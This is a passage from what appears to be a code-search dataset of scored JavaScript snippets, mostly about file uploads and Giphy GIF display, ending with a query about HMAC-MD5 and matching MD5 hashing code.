"d9e30a9af55eb967538a8386382d00d4", "score": "0.5649846", "text": "function uploadDone(e)\n {\n progressLine.hide();\n\n if (e)\n {\n try\n {\n e = JSON.parse(e);\n }\n catch (error)\n {\n HCFunctions.notify('error', error);\n }\n\n if (e.success == false)\n {\n HCFunctions.notify('error', e.message);\n removeThumbnail();\n }\n else\n {\n data.id = e.id;\n data.url = e.url;\n placeOnStage();\n }\n }\n }", "title": "" }, { "docid": "685f0212a392d2bb8e843fb66ca7fbff", "score": "0.56420684", "text": "function handleFileComplete(event){\n $('#hero').append(event.result);\n $('#'+event.item.id).css('background-image','url(' + event.result.currentSrc + ')')\n $('#'+event.item.id).animate({'height':200},200);\n }", "title": "" }, { "docid": "cf7887a5158ed3367edf371a6ef2741a", "score": "0.56409794", "text": "function uploadAlbum() {\n\n\tuploadProjectImages(img_id, 0);\n}", "title": "" }, { "docid": "8dcddb86d19d43edb5b1da4616ca4752", "score": "0.56286293", "text": "function resetGif()\r\n{\r\n\tdocument.InfoPropertiesFrm.typeImg.src = oscriptValues.webNodeGIF;\r\n}", "title": "" }, { "docid": "08a4edee1e3957a2a1b34d31e98e1149", "score": "0.56250215", "text": "function ugif(id,heading=\"\",content=\"\",imgClass) {\n $('.ugif-change').removeClass('solved-feat-active')\n id.addClass('solved-feat-active')\n $('.img-heading2 .solved-content').empty();\n $('.img-heading2').html(heading)\n $('.solved-content').html(content);\n $(\"#solved-img\").removeClass()\n $('#solved-img').addClass(imgClass)\n $(\"#solved-img\").addClass( \"main-img-container-ani1\" ).one(\"webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend\", function(){\n $(\"#solved-img\").removeClass( \"main-img-container-ani1\" );\n });\n }", "title": "" }, { "docid": "bd8a4ab438dd7eb7cf0e30a5920818dd", "score": "0.5623724", "text": "function VerGifEspera()\n{\n\t\t// averiguar el navegado\n\tvar agent = navigator.userAgent.toLowerCase();\n\tvar isIE = (agent.indexOf('msie') != -1);\n\tvar imagen= document.getElementById(\"Cargando\");\n\t\n\t// encender el gif de datos guardandose\n\timagen.style.visibility='visible';\n\n}", "title": "" }, { "docid": "ceba5a7ab2fead284340f1553b6e7f72", "score": "0.5618881", "text": "function iu_uploadComplete(evt) {\n\tif (evt.target.responseText == -1) {\n\t\tvar error_colors = this.fail_colors.split(\",\");\t\t\n\t\tiu_ProcessUploadComplete(this.shortcode_id, error_colors[0], error_colors[1], error_colors[2], this.error_message_timelimit, this.error_message_admin_timelimit, this.error_message_unknown, \"\", \"\", this.finish_time);\n\t}\n\telse {\n\t\tJSONtext = iu_plugin_decode_string(evt.target.responseText.replace(/^\\s+|\\s+$/g,\"\"));\n\t\tvar JSONobj = JSON.parse(JSONtext);\n\t\tdocument.getElementById('inline_upload_progressbar_' + JSONobj.shortcode_id).style.display = \"none\";\n\t\tiu_ProcessUploadComplete(JSONobj.shortcode_id, JSONobj.color, JSONobj.bgcolor, JSONobj.borcolor, JSONobj.message, JSONobj.admin_messages, this.error_message_unknown, JSONobj.update_wpfilebase, JSONobj.redirect_link, 0);\n\t}\n}", "title": "" }, { "docid": "1fd03ec22d5dfea001c29e7b8171b63b", "score": "0.561754", "text": "handleGifLoaded () {\n this.setState({\n isLoading: false\n })\n }", "title": "" }, { "docid": "2f8db59617f57766495df6a4cf2ee4b6", "score": "0.5614768", "text": "function fileDialogStart() {\r\n\tvar container=document.getElementById(\"upload_thumbs_container\");\r\n\tcontainer.innerHTML = \"\";\r\n\tvar container=document.getElementById(\"fsUploadProgress\");\r\n\tcontainer.innerHTML = '<span class=\"legend\">{% translate \"Photos Queue\" %}</span>';\r\n}", "title": "" }, { "docid": "602f5df878df3d0aab723ddda06218df", "score": "0.5611914", "text": "function setGifLoadedStatus(isCurrentlyLoaded) {\n $(\"#gif\").attr(\"hidden\", !isCurrentlyLoaded);\n $(\"#feedback\").attr(\"hidden\", isCurrentlyLoaded);\n}", "title": "" }, { "docid": "a33a40ef0f3f50ef966be9718333c71a", "score": "0.5606683", "text": "function showCampfireBurningGif() {\n $(\"html\").css(\"background-image\", \"url('https://www.sunnysports.com/blog/wp-content/uploads/2017/10/biolite-firepit.gif')\");\n}", "title": "" }, { "docid": "fc951904fd3f01880d55374598f9baf5", "score": "0.5601153", "text": "function done(e, data) {\n\t\t\t\t$(data.files).each(function(){\n\t\t\t\t\tvar fileIcon = $this.find('[data-hash=' + getFileHash(this) + ']');\n\t\t\t\t\tfileIcon.find('.upload-progress').val(100).trigger('change');\n\t\t\t\t\tfileIcon.find('.panel.flip').removeClass('flip');\n\t\t\t\t\t\n\t\t\t\t\tdrawImagePreview(this, fileIcon);\n\n\t\t\t\t\t//There are some weird 3d issues with webkit. This removes\n\t\t\t\t\t//the 3D effect which causes rendering glitches on the page\n\t\t\t\t\tsetTimeout(function(){\n\t\t\t\t\t\tfileIcon.removeClass('panel');\n\t\t\t\t\t\tfileIcon.find('.back').remove();\n\t\t\t\t\t}, 500);\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "629357264e0308d9b143a36d882f2af4", "score": "0.56010616", "text": "function uploadButtonHandler() {\n imagesToBeDisplayed.forEach(imageFile => {\n renderImageFromFile(imageFile)\n })\n clearImageArray()\n}", "title": "" }, { "docid": "802e15973bb36732f8844c3e3409396c", "score": "0.55960315", "text": "function SetFileField(fileUrl, data) {\n\tdocument.getElementById(\"avatarPost\").src = fileUrl;\n}", "title": "" }, { "docid": "e13278a21af5652b1f5f22c08e73b941", "score": "0.5594543", "text": "enableFileUpload() {\n this.uploader.uploadSelectedFile({\n onPreview: () => {\n this.nodes.wrapper.classList.add(\n this.CSS.wrapperLoading,\n this.CSS.loader,\n );\n },\n });\n }", "title": "" }, { "docid": "43ddc64a9a723b479475a9a02cb92d88", "score": "0.55881125", "text": "function updateUploadInfo(evt) {\n var file = evt.target.files[0];\n document.getElementById(\"file-name\").innerHTML = file.name;\n document.getElementById(\"file-size\").innerHTML = formatBytes(file.size);\n document.getElementById(\"upload-url\").innerHTML = \"\";\n}", "title": "" }, { "docid": "1118cbbf5ae593accce12a494c79c797", "score": "0.55819625", "text": "function displayGif() {\n\n\tlet name = $(this).attr(\"bttn-row\");\n\tlet queryURL = \"https://api.giphy.com/v1/gifs/search?q=\"+ name + \"&api_key=nKYmqq0i5gKOMDdBteTiDiEH6QNqbUae&limit=25\"\n\t\n// Ajax call for specific giphy data \n$.ajax({\n\turl: queryURL,\n\tmethod: \"GET\"\n}).done((response)=> {\n\tconsole.log(response);\n\tlet results = response.data.sort(() => Math.random() - 0.5);\n\n//Looping through giphy results after button is clicked\n\tlet i = 20;\n\tlet len = results.length;\n\n\tfor (i; i < len; i++) {\n\n\t\tlet gifDiv = $(\"<div class='img-thumbnail w3-animate-zoom'>\");\n\n\t\tlet rating = results[i].rating;\n\n\t\tlet pTag = $(\"<center><p>\").text(\"Rating: \" + rating);\n\n\t\tlet gifImage = $(\"<img class='still'>\");\n\t\tgifImage.attr(\"src\", results[i].images.fixed_height.url);\n\n\t\tgifDiv.prepend(pTag);\n\t\tgifDiv.prepend(gifImage);\n\n\t\t$(\"#giphyDrop\").prepend(gifDiv)\n\t}\n\t});\n}", "title": "" }, { "docid": "7b9ff5b55f767783b1b271f6cbf0015c", "score": "0.55799145", "text": "function gifButton() {\n $(\".gif\").on(\"click\", function () {\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n}", "title": "" }, { "docid": "8248e5b7656433153eb8f47589f9a533", "score": "0.5579047", "text": "setUploading () {\n\n const conf = this.data(`vulcanup-config`);\n\n methods.hideValidation.call(this);\n methods.reset.call(this);\n\n conf._$container.addClass('vulcanup_uploading');\n\n const text = utils.format(conf.messages.UPLOADING, conf._type);\n conf._$msg.html(`<i class=\"${conf.icons.UPLOADING}\"></i> ${text}`);\n\n conf._uploading = true;\n\n this.trigger(`vulcanup-upload`);\n\n methods.updateProgress.call(this, 0);\n }", "title": "" }, { "docid": "b942687c077df4e84fce65062ccf80c0", "score": "0.5577164", "text": "function fetchAndDisplayGif(event) {\n var searchQuery = $('#tag').val();\n var params = {\n api_key: config.GIPHY_KEY,\n tag : \"jackson 5 \" + searchQuery\n };\n\n $.ajax({\n url: \"http://api.giphy.com/v1/gifs/random\",\n data: params,\n\n success: function(response) {\n $('#gif').attr('src', response.data.image_url);\n setGifLoadedStatus(true);\n },\n error: function() {\n $(\"#feedback\").text(\"Sorry, could not load GIF. Try again!\");\n setGifLoadedStatus(false);\n }\n });\n\n do {\n $(\"#feedback\").text(\"Loading...\");\n setGifLoadedStatus(false);\n } while ( $('#gif').prop( \"src\" ) == \"\" );\n}", "title": "" }, { "docid": "d7500cc3f1759db74da46dafe7589297", "score": "0.557058", "text": "function ShowImportProgress($msg, $prg, $img, $tit, $sub, type, i, delta)\n{ \n var percent = i - (gTRIGGER.END+1 - delta);\n percent = Math.ceil(percent/delta * 100);\n \n $prg.progressbar({\n value : percent \n });\n \n switch (Number(gTRIGGER.STATUS))\n { \n case cTRANSFER.DUPLICATE \n : $msg.html(cSTATUS.EXISTS.replace(\"[dummy]\", ConvertMediaToSingular(type)));\n break;\n \n case cTRANSFER.READY\n : $msg.html(cSTATUS.PROCESS.replace(\"[dummy]\", ConvertMediaToSingular(type)));\n break; \n \n case cTRANSFER.WAIT \n : $msg.html(cSTATUS.IMPORT.replace(\"[dummy]\", ConvertMediaToSingular(type)));\n break;\n } \n \n if (gMEDIA.TITLE) \n {\n // Preload image.\n var img = new Image();\n if (gMEDIA.POSTER) {\n img.src = gMEDIA.THUMBS + '/' + gMEDIA.POSTER + '.jpg';\n }\n else {\n img.src = 'images/no_poster.jpg';\n }\n $img.attr('src', img.src);\n \n // If images not found then show no poster.\n $img.error(function(){\n $(this).attr('src', 'images/no_poster.jpg');\n });\n \n $img.show();\n $tit.html(gMEDIA.TITLE);\n $sub.html(gMEDIA.SUB); \n }\n}", "title": "" }, { "docid": "ce115194c39fe5b9301b93d2121061ae", "score": "0.55584836", "text": "download (id, url, dir) {\n let outputGifFilePath = stingray.path.join(dir, `${id}.gif`);\n let downloadClient = httpClient(url);\n return downloadClient.downloadFile(outputGifFilePath).then(() => outputGifFilePath);\n }", "title": "" }, { "docid": "aa0329a86b89f717ccbdc9c20ce29eb2", "score": "0.5556363", "text": "function gifAnimator() {\n console.log (\"gifffffer\")\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n }\n else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n}", "title": "" }, { "docid": "798493446b9824d337beb2a593a337de", "score": "0.55549383", "text": "function playGif() { \n var state = $(this).attr('data-state');\n // console.log(state);\n if (state == 'still'){\n $(this).attr('src', $(this).data('animate'));\n $(this).attr('data-state', 'animate');\n } else{\n $(this).attr('src', $(this).data('still'));\n $(this).attr('data-state', 'still');\n }\n\n }", "title": "" }, { "docid": "7e378da96ebfebcbac90a3b875bf4263", "score": "0.5554568", "text": "function prepareUploadedImage(img){\n\t$('input[name=\"stickerURL\"]').val(img);\n\t$('.dropzone').addClass('hidden');\n\t$('.status').removeClass('hidden').css('background-image', 'url('+img+')');\n}", "title": "" }, { "docid": "9feb7603b33be08ce4b006447bce88a8", "score": "0.55539256", "text": "function startUpload(){\n // Method that checks that the browser supports the HTML5 File API\n document.getElementById(\"select_var_stg\").classList.remove('active');\n document.getElementById(\"select_var_stg\").classList.add('complete');\n document.getElementById(\"upload_dt_stg\").classList.remove('disabled');\n document.getElementById(\"upload_dt_stg\").classList.add(\"active\");\n document.getElementById('stage_content').innerHTML=upload_data;\n stg_count++;\n}", "title": "" }, { "docid": "808addd5649034b3006e0204a8002e3a", "score": "0.5553213", "text": "function fetchGIF() {\n return axios({\n method: \"get\",\n url: \"http://api.giphy.com/v1/gifs/random?api_key=LZk1F6EqFr5cixBe6TFyNzfmzvLqTPrW&tag=kanye-west&rating=g\"\n });\n}", "title": "" }, { "docid": "fffc2821cff02033b5237386a85e7ef5", "score": "0.55449903", "text": "function setGifLoadedStatus(isCurrentlyLoaded) {\n\t//The timer here is to show the 'Loading...' message briefly.\n\tsetTimeout(\n\t\tfunction() \n\t\t{\n\t\t$(\"#gif\").attr(\"hidden\", !isCurrentlyLoaded);\n\t\t$(\"#feedback\").attr(\"hidden\", isCurrentlyLoaded);\n\t\t}, 10000);\n}", "title": "" }, { "docid": "8f18ad9eff44912771722c66769c6c08", "score": "0.5544834", "text": "function gifToggler() {\n\n // Storing \"this\" attributes into variables\n let state = $(this).attr(\"data-state\");\n let animate = $(this).attr(\"data-animate\");\n let still = $(this).attr(\"data-still\");\n\n // Will set the gif to the still url\n if (state == \"animate\") {\n\n $(this).attr(\"src\", still)\n $(this).attr(\"data-state\", \"still\")\n }\n // Will set the gif to the animated url\n else {\n $(this).attr(\"src\", animate)\n $(this).attr(\"data-state\", \"animate\")\n }\n}", "title": "" }, { "docid": "e9490ee8d0bc32b7e2b6191c267867fb", "score": "0.5520635", "text": "function playGif() { \n var state = $(this).attr('data-state');\n // console.log(state);\n if (state == 'still'){\n $(this).attr('src', $(this).data('animate'));\n $(this).attr('data-state', 'animate');\n } else{\n $(this).attr('src', $(this).data('still'));\n $(this).attr('data-state', 'still');\n }\n \n }", "title": "" }, { "docid": "a1c9fac8c9b5bf0df5a8a869f7fe8c1a", "score": "0.5512975", "text": "function gifSlideShow() {\n\n\tvar game = localStorage.getItem('game');\n\n\tconsole.log(game);\n\n\tfor (i = 0; i < game.length; i++) { \n\t var giphyURL = `https://api.giphy.com/v1/gifs/search?q=${game}&api_key=0p6VOTrg6ToWiukHOTdQlHu3z5d9TSee&limit=5`;\n\t \n\t console.log(giphyURL);\n \n\t\t$.ajax({\n\t\t\turl: giphyURL,\n\t\t\tmethod: \"GET\"\n\t\t}).then(function(response){\n\t\t\tconsole.log(response);\n\t\t\t$('#gif1').attr(\"src\", response.data[0].images.downsized_medium.url); \n\t\t\t$('#gif2').attr(\"src\", response.data[1].images.downsized_medium.url);\n\t\t\t$('#gif3').attr(\"src\", response.data[2].images.downsized_medium.url);\n\t\t\t$('#gif4').attr(\"src\", response.data[3].images.downsized_medium.url)\n\t\t\t$('#gif5').attr(\"src\", response.data[4].images.downsized_medium.url)\n\t\t}\n\t\t)}\n}", "title": "" }, { "docid": "7d830af7a8e0c1a189179331dbc5e696", "score": "0.5511879", "text": "onUploadComplete(){\n this.progressBarToggle(false)\n // esvazia o campo dos arquivos e limpa tb a progressBar\n this.inputFilesEl.value = ''\n //reabilita botão de envio de arquivos ao terminar os uploads\n this.btnSendFileEl.disabled = false\n }", "title": "" }, { "docid": "5e59f464015ed489b32e922248bc79fd", "score": "0.55092686", "text": "function updateLogo() {\n\n if (this.files && this.files.length) {\n handleLoading(true);\n\n const file = this.files[0];\n const uploadError = document.getElementById(\"umbrella-modifier-error\");\n\n if (file && file.size < 5000000) {\n uploadError.textContent = \"\";\n\n const reader = new FileReader();\n\n reader.addEventListener(\"load\", function () {\n handleButtonAndLogo(this.result, file.name);\n });\n\n reader.readAsDataURL(file);\n\n } else {\n if (file.size > 3000000) {\n uploadError.textContent = \"File size exceeds 5MB\";\n }\n handleLoading(false);\n }\n }\n\n this.value = '';\n\n}", "title": "" }, { "docid": "cc52cd87d97489a2a02f01a6f3997ccc", "score": "0.5502282", "text": "function setupLoadingImage()\n{\n $('.wait').each(function(i,v){\n\n let loadingImage = document.createElement(\"img\");\n $(loadingImage).attr('src', baseURI + 'media/animations/wait.gif');\n $(loadingImage).attr('alt', '');\n v.appendChild(loadingImage);\n\n });\n}", "title": "" }, { "docid": "ea17d363d6d629f33c1d6aac7e6f6950", "score": "0.5501184", "text": "function editfPictureUpload(input) {\n if (input.files && input.files[0]) {\n var editfPicReader = new FileReader();\n\n editfPicReader.onload = function (e) {\n $('#editfPic').attr('src', e.target.result).fadeIn('slow');\n }\n editfPicReader.readAsDataURL(input.files[0]);\n }\n }", "title": "" }, { "docid": "a4edda185a0e3dba041e19a41b17c527", "score": "0.5490019", "text": "function toggleAutoGIF() {\n\tfollow(() => getImages((image, model) =>\n\t\timage && image.ext === '.gif' && model.dispatch('renderImage', image)));\n}", "title": "" }, { "docid": "3ea05fd0f71a03a368f10d38b6d44214", "score": "0.5489616", "text": "function playGif() { \n var state = $(this).attr('data-state');\n console.log(state);\n if (state == 'still'){\n $(this).attr('src', $(this).data('animate'));\n $(this).attr('data-state', 'animate');\n } else{\n $(this).attr('src', $(this).data('still'));\n $(this).attr('data-state', 'still');\n }\n\n }", "title": "" }, { "docid": "2062e2bdfe04af1306262c4dabd60659", "score": "0.54826045", "text": "bannerUpload(e) {\n debugger;\n this.loaderService.display(true);\n this.imageChangedEvent = e;\n $('#file-upload').removeAttr('src');\n this.masterBanner.filename = \"\";\n this.masterBanner.filetype = \"\";\n this.masterBanner.imageBase64String = \"\";\n //this.adminPage.profileImagePath = \"\";\n if (e.target.files && e.target.files[0]) {\n let file = e.target.files[0];\n var filename = e.target.files[0].name.toString();\n var nameArray = filename.split('.');\n var extention = nameArray[nameArray.length - 1];\n if ((extention == \"JPEG\" || extention == \"jpeg\" || extention == \"jpg\" || extention == \"JPG\" || extention == \"png\" || extention == \"PNG\") && e.target.files[0].size <= 10000000) // 10000000 bytes = 10MB \n {\n let reader = new FileReader();\n reader.readAsDataURL(file);\n reader.onload = () => {\n this.masterBanner.filename = file.name;\n this.masterBanner.filetype = file.type;\n // const csv: string = reader.result as string;\n // this.adminPage.profileImage = csv.replace(\"data:image/jpeg;base64,\", \"\");\n this.masterBanner.imagePath = reader.result;\n };\n // this.masterGalleryForm.controls.imagePath.setValue(this.addcreation.imagePath);\n }\n else if (extention != \"JPEG\" && extention != \"jpeg\" && extention != \"jpg\" && extention != \"JPG\" && extention != \"PNG\" && extention != \"png\") {\n this.masterBanner.filename = \"\";\n this.masterBanner.filetype = \"\";\n this.masterBanner.imagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Please Upload the valid file\");\n return;\n }\n else if (e.target.files[0].size > 10000000) {\n this.masterBanner.filename = \"\";\n this.masterBanner.filetype = \"\";\n this.masterBanner.imagePath = \"\";\n // this.adminPage.profileImagePath = \"\";\n $('#file-upload').removeAttr('src');\n this.loaderService.display(false);\n alert(\"Document size should be less than 10MB\");\n return;\n }\n }\n }", "title": "" }, { "docid": "4e6397a9c299f8a8cfefd1f1ee3b8c8f", "score": "0.5480343", "text": "function uploadComplete(evt) {\n\t\tdocument.getElementById('files-to-upload').value='';\n\t\t$('#file-upload-status').show();\n\t\tconsole.log(\"The ID of the saved file: [\" + evt.target.responseText + \"]\");\n\t}", "title": "" }, { "docid": "06204d565fd732869eccb4fac438b41f", "score": "0.54778695", "text": "async function confirmarPostGifo() {\n imgCargando.src = \"./assets/assets/check.svg\";\n textoSubiendoGifo.innerHTML = \"GIFO subido con éxito\";\n}", "title": "" }, { "docid": "ef3ac41ada269c6961617d1d10a59293", "score": "0.5477675", "text": "function UploadRecipeFile(fileUpload) {\n console.log(\"UPLOAD RECIPE FILE *******************************\");\n var img = document.getElementById(\"mainContent_recipePicShow\");\n //var loader = document.getElementById(\"mainContent__loader\");\n console.log(img.id);\n $(img).hide();\n //$(loader).show();\n\n if (fileUpload.value != '') {\n console.log('yeah done');\n img.src = \"\";\n img.src = window.URL.createObjectURL(fileUpload.files[0]);\n $(img).css({\n width: 'auto',\n height: 'auto'\n });\n\n // pushti modal\n }\n}", "title": "" }, { "docid": "158f6397f5f71eae385b75a569c19c20", "score": "0.5472775", "text": "function imagesUploaded() {\n $('body').append($('#trashIcon'));\n systemNotifications.showSuccess(\"Success\", \"Images uploaded.\");\n resetFormElement($('#newItem'));\n loadImages();\n}", "title": "" }, { "docid": "5c68c0f068f493d90a27e001d15fe945", "score": "0.54699796", "text": "function uploadSubmit() {\n\t//TODO: Read response data and populate the content list\n\t\n\t//Hide the upload div and show the file content div\n\tswitchStates(uploadDiv, contentsDiv);\n}", "title": "" }, { "docid": "586ec5d96c40d396fc1ddd543eb5be76", "score": "0.5469664", "text": "function uploadProfilePic(){\n $(\"#chooseFile\").hide();\n $(\"#pageLoader\").show();\n var upload = new App42Upload(); // Initialize \"upload\" As New App42Upload.\n var buddy = new App42User();\n var imageName = \"name\"+ new Date().getTime() ;\n var filePath = document.getElementById(\"filePath\");\n var description = \"description\";\n var fileType = \"IMAGE\";\n var file = filePath.files[0];\n \n var buddyNameThroughRegister = $.session.get('loggedInName');\n var buddyNameThroughLogin = $.session.get('loggedInNameViaLogin');\n var sessionIdViaRegister = $.session.get('loggedInSessionId');\n var sessionIdViaLogin = $.session.get('loggedInSessionIdViaLogin');\n upload.setSessionId(sessionIdViaRegister || sessionIdViaLogin);\n upload.uploadFileForUser(imageName, buddyNameThroughRegister || buddyNameThroughLogin, file, fileType, description, { // Uploading Avatar.\n success: function(object) {\n upload.getFileByUser(imageName, buddyNameThroughRegister || buddyNameThroughLogin, { // Getting Avatar.\n success: function(object) {\n var fileObj = JSON.parse(object);\n var getFileUrl = fileObj.app42.response.upload.files.file.url\n document.getElementById(\"myprofilepic\").src = getFileUrl;\n \n var buddyFileUrl = getFileUrl;\n $.session.set('profilePicViaUpload',buddyFileUrl);\n var getFileName = fileObj.app42.response.upload.files.file.name\n var buddyFileName = getFileName;\n $.session.set('profilePicNameViaUpload',buddyFileName);\n buddy.setSessionId(sessionIdViaRegister || sessionIdViaLogin);\n buddy.setHomeLandLine(buddyFileName); // Setting Avatar Name As \"HomeLandLine\" In User Profile.\n buddy.setOfficeLandLine(buddyFileUrl); // Setting Avatar URL As \"OfficeLandLine\" In User Profile.\n myUpdatedProfile(buddy); // Getting Another(i.e FirstName, LastName, etc.) Profile Values.\n buddy.createOrUpdateProfile(buddyNameThroughRegister || buddyNameThroughLogin,{ // Update Profile With Old Values And Updated Avatar.\n success: function(object) {\n $(\"#pageLoader\").hide();\n $(\"#chooseFile\").show();\n $(\"#successUploadedProfilePic\").popup(\"open\");\n setTimeout(function (){\n $(\"#successUploadedProfilePic\").popup(\"close\")\n },3000)\n },\n error: function(error) {\n \n }\n });\n },\n error: function(error) {\n \n }\n });\n },\n error: function(error) {\n \n }\n });\n \n}", "title": "" } ]
3dfb8f59169421eb8f1c5efc9ca64ba0
Calculate the HMACMD5, of a key and some data (raw strings)
[ { "docid": "299346f351df129adda618f65b7c914c", "score": "0.0", "text": "function g(e,t){var a,r,o=y(e),i=[],n=[];for(i[15]=n[15]=void 0,o.length>16&&(o=d(o,8*e.length)),a=0;a<16;a+=1)i[a]=909522486^o[a],n[a]=1549556828^o[a];return r=d(i.concat(y(t)),512+8*t.length),f(d(n.concat(r),640))}", "title": "" } ]
[ { "docid": "290f8a9b9fbe13d7880be6efadf4c4f2", "score": "0.8261408", "text": "function rstrHMACMD5(key, data) {\n var i\n var bkey = rstr2binl(key)\n var ipad = []\n var opad = []\n var hash\n ipad[15] = opad[15] = undefined\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636\n opad[i] = bkey[i] ^ 0x5c5c5c5c\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "2318d6df141d20393bdfd404d8aa64a5", "score": "0.8234103", "text": "function rstrHMACMD5(key, data) {\n var i = void 0;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash = void 0;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 909522486;\n opad[i] = bkey[i] ^ 1549556828\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "2318d6df141d20393bdfd404d8aa64a5", "score": "0.8234103", "text": "function rstrHMACMD5(key, data) {\n var i = void 0;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash = void 0;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 909522486;\n opad[i] = bkey[i] ^ 1549556828\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "803e8b5c5c03388b75d1fe3c486534d1", "score": "0.8230071", "text": "function rstrHMACMD5 (key, data) {\n var i\n var bkey = rstr2binl(key)\n var ipad = []\n var opad = []\n var hash\n ipad[15] = opad[15] = undefined\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636\n opad[i] = bkey[i] ^ 0x5c5c5c5c\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "a9051848e3ad4bd239634a0f6041cdd5", "score": "0.82061994", "text": "function rstrHMACMD5(key, data) {\n var i;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5c5c5c5c;\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "34f01400312b2a4b8f14a30f88a4afb8", "score": "0.8192045", "text": "function rstrHMACMD5(key, data) {\n var i;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash;\n ipad[15] = opad[15] = undefined;\n\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8);\n }\n\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5c5c5c5c;\n }\n\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "96b4251bb01d080e57b9714c30dc0cfe", "score": "0.81847256", "text": "function rstrHMACMD5(key, data) {\n var i;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5c5c5c5c;\n }\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "fe90df27442a4de6337d406eeb253783", "score": "0.8174814", "text": "function rstrHMACMD5(key, data) {\n\t var i;\n\t var bkey = rstr2binl(key);\n\t var ipad = [];\n\t var opad = [];\n\t var hash;\n\t ipad[15] = opad[15] = undefined;\n\t if (bkey.length > 16) {\n\t bkey = binlMD5(bkey, key.length * 8);\n\t }\n\t for (i = 0; i < 16; i += 1) {\n\t ipad[i] = bkey[i] ^ 0x36363636;\n\t opad[i] = bkey[i] ^ 0x5c5c5c5c;\n\t }\n\t hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n\t return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\n\t}", "title": "" }, { "docid": "8f1bea2cb6b85805f31993102f638d2d", "score": "0.81736165", "text": "function rstrHMACMD5(key, data) {\n var i;\n var bkey = rstr2binl(key);\n var ipad = [];\n var opad = [];\n var hash;\n ipad[15] = opad[15] = undefined;\n\n if (bkey.length > 16) {\n bkey = binlMD5(bkey, key.length * 8);\n }\n\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5c5c5c5c;\n }\n\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "85c83e654ce57838636b21f5eb935222", "score": "0.813367", "text": "function rstrHMACMD5(key, data) {\r\n var i;\r\n var bkey = rstr2binl(key);\r\n var ipad = [];\r\n var opad = [];\r\n var hash;\r\n ipad[15] = opad[15] = undefined;\r\n if (bkey.length > 16) {\r\n bkey = binlMD5(bkey, key.length * 8);\r\n }\r\n for (i = 0; i < 16; i += 1) {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5c5c5c5c;\r\n }\r\n hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\r\n return binl2rstr(binlMD5(opad.concat(hash), 512 + 128));\r\n}", "title": "" }, { "docid": "a79ff13c3cc86dae29951e1a150992b2", "score": "0.69455475", "text": "function rstr_hmac_md5 (key, data) {\n\t var i\n\t var bkey = rstr2binl(key)\n\t var ipad = []\n\t var opad = []\n\t var hash\n\t ipad[15] = opad[15] = undefined\n\t if 